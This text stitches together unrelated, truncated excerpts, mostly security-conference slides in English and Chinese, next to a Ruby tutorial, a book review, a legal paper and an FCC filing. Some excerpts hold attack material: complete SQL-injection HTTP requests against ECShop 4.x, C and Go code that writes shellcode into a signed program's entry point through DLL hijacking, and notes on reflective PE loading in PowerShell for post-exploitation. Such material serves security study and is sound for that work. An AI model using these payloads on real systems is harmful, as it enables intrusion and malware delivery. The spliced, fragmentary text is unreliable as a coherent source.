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APK File Infection on Android System Bob Pan Mobile Security Research Engineer July 27, 2012 Who is Bob? Mobile Security Industry Trends Malware increasing on App Stores Chris Di Bona from Google, November 2011: virus companies are playing on your fears to try to sell you bs protection software for Android, RIM and IOS. They are charlatans and scammers. IF you work for a company selling virus protection for android, rim or IOS you should be ashamed of yourself. The barriers to spreading such a program from phone to phone are large and difficult enough to traverse when you have legitimate access to the phone, but this isnt independence day, a virus that might work on one device wont magically spread to the other. All the major vendors have app markets, and all the major vendors have apps that do bad things, are discovered, and are dropped from the markets. Industry Trends Googles Bouncer Googles Bouncer effective? Android Malware http://blog.trendmicro.com/how-big-will-the-android-malware-threat-be-in-2012/ Wheres the challenge? The Inside of an APK File  AndroidManifest.xml contains the meta information;  Package name & version  Activities  Services  classes.dex contains all the code for Dalvik Virtual Machine.  META-INF/ contains the certificate and signature. APK are signed zip files The AndroidManifest File Googles Binary xml File  Format is not documented  Tools for reading Binary xml files are readily available  Tools for writing Binary xml files are limited The Dex File Dalvik Executable Format  Format is well documented  Many modification tools available  asmdex  smali/baksmali  Dexmaker  APKs can only use 16 to 32MB of memory so a separate Dalvik VM should be started The META-INF/ Folder Certificate & Signature  Format is well documented  Many creation tools available  jarsigner from JDK  signapk from Android Source  Minor modifications must be done to run on an Android device Infection Demonstration Architecture of the Virus The Payload of the Virus The Loa


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Book Review: A Tale of Two Sciences: Memoirs of a Dissident Scientist by Peter A. Sturrock (Exoscience: Palo Alto) 2009. by Richard Thieme A Tale of Two Sciences: Memoirs of a Dissident Scientist, by Dr. Peter A. Sturrock, is a personal work by the well-known Stanford physicist and astrophysicist, reflecting on the sometimes complementary, sometimes discordant threads of his professional lives: one as a conventional scientist, with a long list of respected publications, and one as an unconventional scientist who explored anomalous phenomena, in particular UFO phenomena. His conventional scientific career might be a surprise to those who know him only in relationship to UFO studies; it is recounted here in terms that any educated layman can understand  in fact, the simplicity and clarity of his explanations of, say, plasma physics or pulsars, are a testimony to his deep knowledge  one cant explain complex phenomena so clearly otherwise. And for readers who want to go a little deeper, there is a small bit of helpful math in appendices. His unconventional career, on the other hand, has resulted in the full spectrum of responses which unfortunately are familiar to all researchers in anomalies embarrassed smiles, curt dismissals, ridicule, the bemused shaking of a lot of heads  all of which tell the researcher that he or she is at best tolerated as an eccentric and at worst dismissed as a nut case. The two strands of his unconventional career consist of accumulated evidence, the content of his explorations, food for further thought and research, and his personal account of reactions to that work and in turn his reactions to those reactions over a lifetime. This is a memoir, not a scientific treatise, so it must be evaluated for what it tells us about the man and his internal journey as well as the rewards of a long career in orthodox scientific research. It is well-written, careful in its pronouncements, understated, eminently sane, and occasionally mind-boggling, especi


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# 类和模块 --- - https://www.kancloud.cn/imxieke/ruby-base/107295 --- # 类是什么 类class是面向对象中一个重要的术语 **类和实例** 类表示对象的种类Ruby 中的对象都一定属于某个类例如我们常说的数组对象数组实际上都是 `Array` 类的对象实例还有字符串对象实际上是 `String` 类的对象实例 相同类的对象所使用的方法也相同类就像是对象的雏形或设计图决定了对象的行为 我们在生成新的对象时一般会用到各个类的 `new` 方法例如使用 `Array.new` 方法可以生成新的数组对象 ```ruby ary = Array.new p ary #=> [] ``` > 像数组字符串这样的类也可以使用字面量像 `[1, 2, 3]``"abc"` 这样的写法来生成对象 当想知道某个对象属于哪个类时我们可以使用 `class` 方法 ```ruby ary = [] str = "Hello world." p ary.class #=> Array p str.class #=> String ``` 当判断某个对象是否属于某个类时我们可以使用 `instance_of?` 方法 ```ruby ary = [] str = "Hello world." p ary.instance_of?(Array) #=> true p str.instance_of?(String) #=> true p ary.instance_of?(String) #=> false p str.instance_of?(Array) #=> false ``` **继承** 我们把通过扩展已定义的类来创建新类称为继承 假设我们需要编写一个在屏幕中显示时间的小程序根据用户的喜好这个小程序能以模拟时钟或者电子时钟的方式显示 模拟时钟与电子时钟两者只是在时间的表现形式上不一样获取当前时间的方法以及闹钟等基本功能都是相同的因此我们可以首先定义一个拥有基本功能的时钟类然后再通过继承来分别创建模拟时钟类和电子时钟类 继承后创建的新类称为子类subclass被继承的类被称为父类superclass 通过继承我们可以实现以下事情 - 在不影响原有功能的前提下追加新功能 - 重定义原有功能使名称相同的方法产生不同的效果 - 在已有功能的基础上追加处理扩展已有功能 此外我们还可以利用继承来轻松地创建多个具有相似功能的类 `BasicObject` 类是 Ruby 中所有类的父类它定义了作为 Ruby 对象的最基本功能 > `BasicObject` 类是最最基础的类甚至连一般对象需要的功能都没有定义因此普通对象所需要的类一般都被定义为 `Object` 类字符串数组等都是 Object 类的子类 子类与父类的关系称为is-a 关系例如`String` 类与它的父类 `Object` 就是 is-a 关系 之前我们提到过查找对象所属的类时使用 `instance_of?` 方法而根据类的继承关系反向追查对象是否属于某个类时则可以使用 `is_a?` 方法 ``` str = "This is a String." p str.is_a?(String) #=> true p str.is_a?(Object) #=> true ``` 顺便提一下由于 `instance_of?` 方法与 `is_a?` 方法都已经在 `Object` 类中定义过了因此普通的对象都可以使用这两个方法 # 类的创建 ```ruby class HelloWorld # class 关键字 def initialize(myname = "Ruby") # initialize 方法 @name = myname # 初始化实例变量 end def hello # 实例方法 puts "Hello, world. I am #{@name}." end end bob = HelloWorld.new("Bob") alice = HelloWorld.new("Alice") ruby = HelloWorld.new bob.hello ``` **class 关键字** `class` 关键字在定义类时使用以下是 `class` 关键字的一般用法 ```ruby class 类名 类的定义 end ``` 类名的首字母必须大写 **initialize 方法** 在 `class` 关键字中定义的方法为该类的实例方法 其中名为 `initialize` 的方法比较特别使用 `new` 方法生成新的对象时`initialize` 方法会被调用同时 `new` 方法的参数也会被原封不动地传给 `initiali


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# Defcamp CTF Finals 2017 Team: c7f.m0d3, psrok1, rev, shalom, lacky ### Table of contents * [State agency (web)](state_agency) * [Caesar favourite song (misc/crypto)](favourite_song) * [Audio captcha (misc)](audio_captcha) * [Adversarial (misc)](adversarial) * [Hack tac toe (web/crypto)](hack_tac_toe) * [Fedora shop (web)](fedora_shop)


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PowerPwning: Post-Exploiting By Overpowering PowerShell Joe Bialek About Me  Joe Bialek  Security Engineer  Twitter: @JosephBialek  Blog: http://clymb3r.wordpress.com  GitHub: https://github.com/clymb3r PowerShell is Awesome  Provides access to the Win32 API  Doesnt write to disk when scripts are run on remote computers  Script runs inside PowerShell.exe or WsmProvHost.exe (when run remotely)  Dont have to execute suspicious or unsigned processes What I Want To Do With PowerShell  Run existing tools in PowerShell without rewriting them in PowerShell  Use existing tools but leverage PowerShells forensic benefits  Solution: Write a PowerShell script to reflectively load and execute PEs (EXE/DLL) in the PowerShell process How To Load A PE 1. Allocate memory for PE 2. Copy PE headers to memory 3. Copy sections to memory (.text, .data, etc.) 4. Perform base relocations on the sections loaded 5. Load DLLs the PE requires 6. Adjust memory permissions 7. Call the entry function  For DLL: Calls DllMain which lets the DLL know it is loaded  For EXE: Function which sets up the process, gets command line arguments and calls int main() DLL Specific Stuff  After loading DLL, call exported DLL functions  Remote PowerShell cant capture stdout, you wont see anything your program outputs  printf  cout  To capture output: Make the DLL function return a char* or wchar_t*  PowerShell can Marshal this pointer to a managed string and print the output Problems Reflectively Loading An EXE: Prevent PowerShell From Exiting  When EXE exits, it calls ExitProcess  PowerShell is the running process so it is killed by ExitProcess  I want the EXE to exit, not PowerShell  Solution:  Call the EXE entry function in its own thread  Overwrite ExitProcess function with a call to ExitThread Assembly To Overwrite ExitProcess ; Set a var to 1, let PS know exe is exiting mov rbx, 0x4141414141414141 mov [rbx], byte 0x01 ; Call exitthread instead of exitprocess sub rsp, 0xc0 and sp, 0xFFF0 ; Needed for stack a


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From One Country - One Floppy to Startup Nation The story of the early days of the Israeli hacking community I We* * Unless otherwise stated #whoarewe + #whyarewehere 1975 1984 1988 1993 2011 2015 1977 1986 2004 2011 2013 Some of the people in our story Hacking Cracking Phreaking Carding 90s Terminology Hacking Cracking Phreaking Carding 90s Terminology Telephony + The BBS Scene The BBS Scene BBS Mischief The Story of the Ethics Group Going global Internet Timeline in US vs. Israel So we understand we need to take care of ourselves + + Phreaking 208057040540 TYMNET PCP OUTDIALS: A listing of Pc-Pursuit out-dials usuable on Tymnet o r most X.25 systems. These are very good quality outdi als for the most part. Compiled : 01/05/91 Author : Net Runner Editor : Net Runner System : TymNet PCPursuit Outdials Uses : Calling to most major North American cities Dialups : Multiple Tymnet dialups per LATA Port : 2400 bps, 7 bits, Even Pairity, 1 Stop Bit Emulation. : ANSI, TTY, Vt-52, Vt-100 3110 2010 0001 ( 300 baud) (Newark, NJ) 3110 2010 0301 (1200 baud) (NJNEW) 3110 2010 0022 (2400 baud) (E.C. 201) 3110 2020 0115 ( 300 baud) (Washington, DC) 3110 2020 0116 (1200 baud) (DCWAS) 3110 2020 0117 (2400 baud) (E.C. 202, 703, 301) 3110 2030 0105 ( 300 baud) (Hartford, CT) 3110 2030 0120 (1200 baud) (CTHAR) 3110 2030 0121 (2400 baud) (E.C. 203) Learning to Code Reverse Engineering Contributions to the Community Anti Debugging Tricks Anti Debugging Tricks EXCLUSIVE Not only code The Story of unAsi And the result And also UnTinyProg Hardware Copy Protection The Virus Scene: The Bad Guys Jerusalem Haifa Local Initiatives The Virus Scene: The Good Guys The Virus Scene: The Good Guys The Virus Scene: The Good Guys The Virus Scene: The Good Guys An Anecdote Carding CBI & TRW Trade vs. Use: Hacker Ethics Famous Busts Deri Schreibman (1991) Analyzer (1998, 2008, 2013) Michael HaEfrati (2005) The Trojan Horse story The Hacker from Ashkelon (2017) Recent History Epilogue Where are they now? !


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用Golang编写 dll劫持的一些坑 (2) 源于知识星球的一个想法利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序 我想用Golang编写劫持的dll这样也方便可以做成在线平台 当然dll加载模式不同劫持的方式也不同 我找到是vscode它的更新程序也有它官方的签名 看 inno_updater.exe 的导入表我只用实现它的5个函数就可以了 因为我想做成通用型的对于这种输入表导入的dll做劫持只需要在 DllMain 中获取主程序的入口点 然后将shellcode写入入口点之后主程序运行就会执行我们的shellcode了 C代码如下 测试过是能够正常使用的 但是把它转成Go的过程中踩了不少坑 C代码转换为Go 读取PE入口点用来写shellcode用Windows API GetModuleHandle 可以得到PE进程的内存地址根 据内存地址加减偏移就可以得到入口点 我原本使用了 github.com/Binject/debug/pe 库它里面有一个 pe.NewFileFromMemory() 函数可 以直接从内存中读取但是它的参数是需要一个 io 类型文件的io自身有很多api但是对内存的io 资料好少 最后找了很多资料发现只能自己实现io的接口 但问题来了 ReadAt 接口要求我们自己读完了就返回 io.EOF 我是从内存空间读的我不知道什么时 候读完 就这么纠结了好久虽然现在写的时候想到了我可以实现这个 ReadAt 长度我可以生成模板的时候 硬写进去但又感觉没必要因为我根据PE的偏移写好了 int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: hello_func(); break; case DLL_PROCESS_DETACH: break; } return TRUE; } void hello_func() DWORD baseAddress = (DWORD)GetModuleHandleA(NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress; PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew); DWORD entryPoint = (DWORD)baseAddress + ntHeader- >OptionalHeader.AddressOfEntryPoint; DWORD old; VirtualProtect(entryPoint, size, 0x40, &old); for(int i=0;i<size;i++){ *((PBYTE)entryPoint+i) = shellcode[i]; } VirtualProtect(entryPoint, size, old, &old);  type ReaderAt interface { ReadAt(p []byte, off int64) (n int, err error) } 直接就不用它的库了手动根据偏移去寻找入口点 Go实现DllMain DllMain是dll在创建或退出时的消息函数要把shellcode写入PE的入口点就必须在这里执行代码但 是Go里面没有这样相关的定义搜索资料有人说用 init() 函数可以我试了下 init() 函数执行 是在代码运行的时候加载的也就是pe运行了执行到了相关导出函数的时候会先执行 init() 代 码但是这个时候写shellcode到PE头部就已经没用了 最后发现了怎么做就是混编C和Go,而且比较麻烦 var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") getModuleHandle = kernel32.NewProc("GetModuleHandleW") procVirtualProtect = kernel32.NewProc("VirtualProtect") ) func GetModuleHandle() (handle uintptr) { ret, _, _ := getModuleHandle.Call(0) handle = ret return } // 将shellcode写入程序ep func loader_from_ep(shellcode []byte) { baseAddress := Ge


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道高一尺牆高一丈東亞 網絡封鎖和反封鎖技術演進 介紹 蕭強 加大柏克萊分校逆權力實驗室 第一封電子郵件 (1987) : https://bit.ly/2NsTe2Q Across the Great Wall we can reach every corner in the world 中大國九互聯網關 https://bit.ly/2NsTe2Q 國家公共網絡監控系統俗稱中國網絡防火牆 The Great Fire Wall of China常用簡稱GFW 或牆 網絡封鎖的歷史背景 1999  國家信息化工作領導小組  組長: 吳邦國 GFW 成立的背景 https://bit.ly/2uOp7LL https://bit.ly/2LowL9P 網絡審查組織 https://bit.ly/2mrOU8F 國家計算機網絡與信息安全管理中心 CNCERT/CC (GFW https://bit.ly/2Lb6Mn6 中國國家防火牆之父方濱興 国家计算机网络与信息安全管理中心总工程师 2000-2002 https://bit.ly/2LoATGR 國家信息安全話語範式  通過國家意志法律來定義信息安全包括了內容安全和意識 形態安全  將煽動煽動煽動煽動捏造宣揚侮辱損害其他等加入定義為 所謂的網絡攻擊網絡垃圾網絡有害信息網絡安全威脅  在實現層面完全技術性中立性地看待信息安全對意識形態與信息科 學進行牢不可破的焊接 CNCERT/CC合作夥伴  違法和不良信息舉報中心 網信辦  國家計算機網絡入侵防範中心 中科院  國家計算機病毒應急處理中心 公安部科技部  國家反計算機入侵及防病毒研究中心 公安部  中國互聯網用戶反垃圾郵件中心中國互聯網協會 防火長城 GFW 的決策機制 https://bit.ly/2mrOU8F https://bit.ly/2NsTe2Q https://bit.ly/2JBa5hP 防火長城 GFW 的工作流程  封禁標準  封禁流程  封禁技術 GFW 重點封堵翻牆工具的條件特點 大規模使用 特定時期的特定使用 有明顯翻牆意圖的使用 被外圍GFW人員舉報的使用 防火長城 GFW 技術實施原則  主要是強調綜合平衡安全成本與風險如果風險不大 就沒有必要花太大的安全成本來做在這裡面需要強調 一點就是確保重點的如等級保護就是根據信息系統的 重要性來定級從而施加適當強度的保護----- 方濱興 五個層面解讀國家信息安全保障體系 防火長城的技術演進 GFW 技術結構: 入侵防 禦系統, 檢測-攻擊兩相 模型 域名劫持 IP封锁 关键字过滤阻断 HTTPS证书过滤 Censorship Technologies IP Blocking DNS Poisoning Keywords Filtering (TCP Reset) URL Filtering (HTTP Proxy, IR) 更多的封鎖行為  Application protocol parsing (deep packet inspection)  Participation in a circumvention system as a client  Scanning to discover proxies  Throttling connections  Temporary total shutdowns Measurement IP Blacklist DNS Blacklist Keyword, URL blacklist Categories subject to Internet filtering HIKINGGFW.ORG Categories subject to Internet filtering dns_bl: Domain Name polluted  Input : a list of Domain Names  Alexa.com Top 1M????  COM, NET, ORG, INFO  Test methods  Clustering:  pictwitter.com, twitter.computer.com => twitter.com ip_bl: IP addressed blocked?  Input: domain names or IP addresses  Output: IP reachable or not  Get the real IP address in China  dig +tcp -f blacklist_domain  HTTP connect  wget, curl,  Socket rst_bl: Keywords by TCP Reset Input: Keyword(


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# ECShop 4.x `collection_list` SQL injection References: - https://mp.weixin.qq.com/s/xHioArEpoAqGlHJPfq3Jiw - http://foreversong.cn/archives/1556 ## Vulnerable environment Execute following command to start a ECShop 4.0.6: ``` docker compose up -d ``` After server is started, browse the `http://your-ip:8080` to see the installation wizard. Follow the manual, fill in the database address as `mysql`, username and password as `root` and `root`. ## Exploit The principle of this vulnerability is similar to [xianzhi-2017-02-82239600](https://github.com/vulhub/vulhub/tree/master/ecshop/xianzhi-2017-02-82239600)arbitrary `insert_` function could be utilized to leverage the SQL injection. There are multiple `insert_` functions that can be utilizaed. For example, the `insert_user_account`: ``` GET /user.php?act=collection_list HTTP/1.1 Host: your-ip:8080 X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1; Connection: close ``` ![](1.png) Notice that you should log in as a normal user first. Use `insert_pay_log` as a POC: ``` GET /user.php?act=collection_list HTTP/1.1 Host: 192.168.1.162:8080 X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";| Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 Coo


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Exploiting 0ld Mag-stripe Information with New Technology Salvador Mendoza Twitter: @Netxing Blog: salmg.net About Me  Security Researcher  Samsung Pay: Tokenized Numbers, Flaws and Issues @Netxing Analyzing previous talks/tools  Major Malfunction DEFCON 14 Magstripe Madness  Samy Kamkar MagSpoof - 2015  Weston Hecker DEFCON 24 Hacking Hotel Keys and Point of Sale Systems @Netxing Intro to Magnetic Stripe Information  Type of card capable of storing data by modifying the magnetism of tiny iron-based magnetic particles on a band of magnetic material on the card  TL;DR > Track1 = [UPPERCASE,numbers] Track 2/3 = Numbers Source: samy.pl @Netxing Magstripe Composition %B4929555123456789MALFUNCTION/MAJOR 0902201010000000000000970000000? @Netxing Magstripe info, Parity, and Waves @Netxing Magstripe info, Parity, and Waves @Netxing Magstripe Signal @Netxing Major Malfunction DEFCON 14 https://www.youtube.com/watch?v=ITihB1c3dHw @Netxing BlueSpoof Descendancy MagSpoof MagSpoofPI SamyKam First Prototypes https://www.samy.pl Designed PCB by @electronicats Weston Hecker - DEFCON 24 @Netxing Sound Amplifier @Netxing Raspberry Pi + Amplifier + Coil @Netxing Raspberry Pi - Demo @Netxing Bluetooth Technology @Netxing Bluetooth Speaker @Netxing Bluetooth Speaker @Netxing MagSpoof Cousin BlueSpoof MagSpoof Electronic Cats(@electronicats) design @Netxing BlueSpoof @Netxing BlueSpoof tool - Characteristics  Cheap < $20  Easy to implement  Escalable  3.7 V Battery  Fast transmission  Accurate @Netxing BlueSpoof - Demo https://www.youtube.com/watch?v=elzqLhLnCek @Netxing Multiple Targets? @Netxing Token 1 Token 2 Controlling Multiple Speakers? @Netxing Python Sound Device Library https://pypi.python.org/pypi/sounddevice Attack with Multiple Bluetooth Speakers? https://www.youtube.com/watch?v=5hInVNLUC8s @Netxing Demo Bonus Take-Away Project: iWey @Netxing + = SamyKam https://salmg.net/2017/01/16/samykam/ @Netxing Greetz, Hugs & Stuff Samy Kamkar (@samykamkar) Electronic Cats (@electronic


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suspend === 挂起shell的执行 ## 概要 ```shell suspend [-f] ``` ## 主要用途 - 挂起shell的执行直到收到`SIGCONT`信号 - 除非使用`-f`选项否则无法对`login shell`使用 ## 选项 ```shell -f 对login shell执行挂起操作 ``` ## 返回值 返回成功除非未开启作业控制或发生了错误 ## 例子 ```shell # 打开一个终端首先获取PID echo $$ # 执行挂起命令 suspend ``` ```shell # 再打开一个终端发送SIGCONT命令 kill -s SIGCONT PID # 此时之前的终端结束挂起状态可以正常交互 ``` ### 注意 1. `bash`的作业控制命令包括`bg fg kill wait disown suspend` 2. 该命令需要`set`选项`monitor`处于开启状态时才能执行查看作业控制状态输入`set -o`查看`monitor`行执行`set -o monitor`或`set -m`开启该选项 3. 该命令是bash内建命令相关的帮助信息请查看`help`命令


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Closing(Ceremonies( 25th(Anniversary( Badges'Badges'Badges!' Andis(that(the(line(for(Swag?!( #badgelife( Swag!' Sold(out(again!( Thank(you(from(Swag(to(Speaker(Goons!( ( Transparency'  More(informaCon( about(DEF(CON( departments(and( whats(going(on.( Thanks'to'all'DEF'CON'Goons'  AdministraCon(  A(&(E(  Artwork(  Badges(  Contests/Events(  Demo(Labs(  Dispatch(  DC(Groups(  Forums(  Info/HackerTracker(  Inhuman(Reg(  OperaCons(  NOC(/(DCTV(  Press(  ProducCon(  QM(  RegistraCon(  Review(Board(  SOC(  Social(Media(  Speaker(Ops(  Swag(  Vendors(  Workshops( Old'and'New'Goons''Thank'You!' New,(reCring(Gold(Badge(Holders( Gold(Badge(Holders(of(the(past( New(Goons((n00ns( Hacker'Tracker'App' Android(and(iOS( Source(available(on(GitHub(-(h[ps://goo.gl/bbVRMt( Created(by(@shortstack(and(@sethlaw( Developed(by(@ChrisMays94(@MaceraMeg( Designed(by(@iMacHumphries( Network'OperaBons' Wired'Infrastructure'  Closed(CapConing(  Contests(  DC(TV(  Goons(  Media(Server(  Press(  Rootz(  Richard(Cheese(  SOMA(FM(  Speaker(Ops(  Speakers(  Vendors(  Villages(  WiFi(Monitoring( Wireless'Infrastructure' for(the(the(brave((and( patched(devices)( ( DC'TV' for(those(people(in(their( rooms( ( The(Network(  10(gbps(backbone(  200(250(mbps(internet(uplink(  Wired(  Firewall(-(FreeBSD(  1(x(Core(Cisco(Switch((#yolo(,(but(we(had(a(cold(stand-by(box)(  14(x(Edge(Cisco(Switches(  3(x(Monitoring(Servers(  2(x(DC(TV(Servers(  1(x(WiFi(RegistraCon(Server(  1(x(Admin(Server(  Media(Server( The(Network((cont)(  Wireless(  7210(Aruba(Controller(  61(Aruba(Access(Points((70,(105,(135,(225)(  69(Aruba(Access(Points((model(305)((THANKS(Aruba!(  DCTV(  13(ODROID(units(  2(x(on-site(streaming(servers(  Video(Transcoding(provided(by(SOK( The(Network((cont)( DC(TV(  HD(Broadcast(  2(Tracks(streamed(to(the(internetz(  5(channels(at(Caesars(  4(channels(for(each(remote(properCes( Timeline( Sunday' NOC(Setup( ( WiFi(APs(hanging/( patching( ( DC(TV(server(installs( ( DC(TV(oDroids( conﬁguraCon( ( dctv.defcon.or


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FAIRPLAY DRM和混淆实现 0 1 DRM Fairplay - DRM 0 1 介绍 数字版权保护 应用于电子书籍/音乐/视频 App DRM自2013年引入 私有代码高度混淆 Fairplay - DRM 0 1 Load Command $ otool -l target | grep -i crypt cmd LC_ENCRYPTION_INFO_64 cryptoff 16384 cryptsize 4177920 cryptid 1 Fairplay - DRM 0 1 Fairplay Open - From Kernel Fairplay - DRM 0 1 Fairplay Open - MIG #include <mach/std_types.defs> #include <mach/mach_types.defs> subsystem KernelUser unfreed 502; type unk1_t = struct[136] of char; type unk2_t = struct[84] of char; routine fairplay_open( fairplay_port : mach_port_t; executable_path : pointer_t; cpu_type : uint32_t; cpu_subtype : uint32_t; out supf : pointer_t; out unk_ool2 : pointer_t; out unk1 : unk1_t; out unk2 : unk2_t; out supf_size : uint32_t; out ool2_size : uint32_t; out ukn3 : uint32_t); FairplayIOKit fairplayd Fairplay - DRM 0 1 Fairplay Open - fairplayd $ tree .  SC_Info   target.sinf   target.supf  target Fairplay - DRM 0 1 Fairplay Open - SINF $ sinf_view.py SC_Info/target.sinf sinf.frma: game sinf.schm: itun sinf.schi.user: 0xdeadbeef sinf.schi.key : 0x00000002 sinf.schi.iviv: <***16 bytes IV***> sinf.schi.righ.veID: 0x00012345 sinf.schi.righ.plat: 0x00000000 sinf.schi.righ.aver: 0x11223344 sinf.schi.righ.tran: 0x11223344 sinf.schi.righ.sing: 0x00000000 sinf.schi.righ.song: 0x11223344 sinf.schi.righ.tool: P550 sinf.schi.righ.medi: 0x00000080 sinf.schi.righ.mode: 0x00000000 sinf.schi.righ.hi32: 0x00000002 sinf.schi.name:<***null terminated username, 256 bytes***> sinf.schi.priv: <***432 bytes encrypted data***> sinf.sign: <***128 bytes signature***> Fairplay - DRM 0 1 Fairplay Open - SUPF $ supf_view.py SC_Info/target.supf KeyPair Segments: Segment 0x0: arm_v7, Keys: 0x3d0/4k, sha1sum = <code_sig> Segment 0x1: arm64, Keys: 0x3fc/4k, sha1sum = <code_sig> Fairplay Certificate: <RSA 1024 Ceritificate, valid since 2008, expire at 2013> RSA Signature: <128 bytes> Fairplay - DRM 0 1 Fairplay Open - QA时间 1. 使用了不安全的RSA密钥长度, 没有校验RSA证书的有效期 3. SINF中明文存储了用户身份标识信息(但是沙盒内无法读取) 4. 可以通过调用MIG + Hook来稳定获取Fairpla


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A Survey and Examination of the Adequacy of the Laws Related to Cyber Warfare DONDI S. WEST* This paper argues that the current rules of war can address the emerging issues raised by cyber warfare. The author begins by giving a survey of the laws that have the biggest impact on cyber warfare. Next, the author discusses several popular issues that may have unnecessarily intensified the cyber warfare debate. The author then asserts the following five reasons why the U.S. should not enter into an international treaty for cyber warfare: (1) combatant commanders already have proper guidelines for conducting cyber warfare; (2) fields of law are seldom demarcated by technology; (3) an unintended consequence of a cyber warfare law is that it may pose an undue limitation on a primarily non-lethal strategic deterrence; (4) our adversaries are unlikely to comply; and (5) the rate of technology growth will outpace the ability for an international cyber regime to produce responsive policy, while the flexibility allotted by the UN Charter and laws of war are able to absorb technological advances. The author concludes that the current UN Charter and Laws of War should continue to govern cyber warfare and that creating an international treaty or law for cyber warfare would do more harm than good and seriously cripple our ability to conduct war. I. Introduction Immediately upon taking office, and in the midst of the worst economic downturn since the Great Depression, President Barack Obama ordered a 60-day clean-slate study to review the plans, programs, and activities related to cyber security (the 60-day Study).1 Although many people did not expect President Obama to enter the White House with cyber security as a * Dondi West is a Senior Cyber Intelligence and Policy Analyst at Booz Allen Hamilton and former U.S. Navy Information Warfare Officer. He holds a B.S. in Mathematics, a M.S. in Applied Information Technology, and a Juris Doctor degree from The University of Maryland Scho


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Dont Red Team AI like a Chump Ariel Herbert-Voss @adversariel Intro  Who am I?  What is this talk? A story about hacking an AI system IRL + + Key points in this talk (in case you zone out)  Focus on the threat model  Go for the jugular feature extraction process  Think about the data supply chain What is an AI system?  AI is a class of algorithms that we use to extract actionable information from data  AI is not new and the hype is real  In this talk, AI == ML AI Machine learning Deep learning What is an AI system? What is an AI system? data What is an AI system? data prediction What is an AI system? data prediction Parts of an AI system we can exploit  Data  Training/testing sets  Deployed environment data  Model  Algorithm  Parameters Parts of an AI system we can exploit  Data  Training/testing sets  Deployed environment data  Model  Algorithm  Parameters data poisoning Parts of an AI system we can exploit  Data  Training/testing sets  Deployed environment data  Model  Algorithm  Parameters data poisoning Adversarial examples adversarial example data point DOG FRIED CHICKEN (arbitrary) feature dimension 1 (arbitrary) feature dimension 2 target data point [Biggio et al, 2018] Parts of an AI system we can exploit  Data  Training/testing sets  Deployed environment data  Model  Algorithm  Parameters backdoored function Parts of an AI system we can exploit  Data  Training/testing sets  Deployed environment data  Model  Algorithm  Parameters model inversion Model inversion Image of Bill: *exists in training data set* Recovered image [Fredrikson et al, 2015] Parts of an AI system we can exploit  Data  Training/testing sets  Deployed environment data  Model  Algorithm  Parameters model theft Model theft data target model stolen model original predictions similar predictions [Tramèr et al, 2016] How to design an attack for an AI system 1. What model are you attacking? 2. Where do the data come from? 3. Where do the predictions go? Fooling AI-powered video surveillance  Com


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Before the FEDERAL COMMUNICATIONS COMMISSION Washington, D.C. 20554 In the Matters of Unlicensed Operation in the TV Broadcast Bands Additional Spectrum for Unlicensed Devices Below 900 MHz and in the 3 GHz Band ET Docket No. 04-186 ET Docket No. 02-380 REPLY COMMENTS OF DELL INC., GOOGLE, INC., THE HEWLETT-PACKARD CO., INTEL CORP., MICROSOFT CORP., AND PHILIPS ELECTRONICS NORTH AMERICA CORP. Scott Blake Harris Edmond J. Thomas S. Roberts Carter III Kelley A. Shields** HARRIS, WILTSHIRE & GRANNIS LLP 1200 Eighteenth Street, NW Washington, DC 20036 (202) 730-1300 March 2, 2007  Senior Policy Advisor ** Admitted only in Georgia; supervision by Scott Blake Harris, a member of the DC Bar, while DC Bar application pending. i Table of Contents SUMMARY ........................................................................................................................... ii I. THE COALITIONS PROPOSAL WILL ENABLE THE USE OF UNLICENSED LOW POWER DEVICES IN THE TV WHITE SPACES. ............................................................. 3 A. Technical and Operational Parameters.............................................................. 5 B. The Proposed Spectrum Sensing Approach Will Provide Broadcasters with the Protection to which they are Entitled. .......................................................... 8 1. The proposed detection threshold is more than sufficient to guard against harmful co-channel interference....................................................................... 9 2. Personal/portable devices can successfully operate in adjacent channels. ... 11 3. Low power television stations......................................................................... 14 C. Testing.................................................................................................................. 15 II. PERSONAL/PORTABLE DEVICES SHOULD BE AUTHORIZED AT THE SAME TIME AS FIXED DEVICES, IF NOT BEFORE....................................................................


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# 序言 这些安全笔记是我用来学习和记录的帮助我补充知识里面大部分都有详细的描述以及复现过程这些内容包括红队攻防渗透测试代码审计和甲方安全建设等等知识内容与君共勉 相关链接 - [信息安全笔记中文版](https://icybersec.gitbook.io/cybersecuritynote-cn/) - [信息安全笔记英文版](https://icybersec.gitbook.io/cybersecuritynote-en/) - [GitHub仓库地址](https://github.com/yingshang/CybersecurityNote_cn) - [作者博客](https://www.freebuf.com/author/%E9%99%8C%E5%BA%A6) - 微信公众号陌度安全 {% hint style="danger" %} 警告请勿将此处提及的任何工具用于非法不道德或有问题的目的这些工具仅用于合法/批准的测试和研究 {% endhint %}


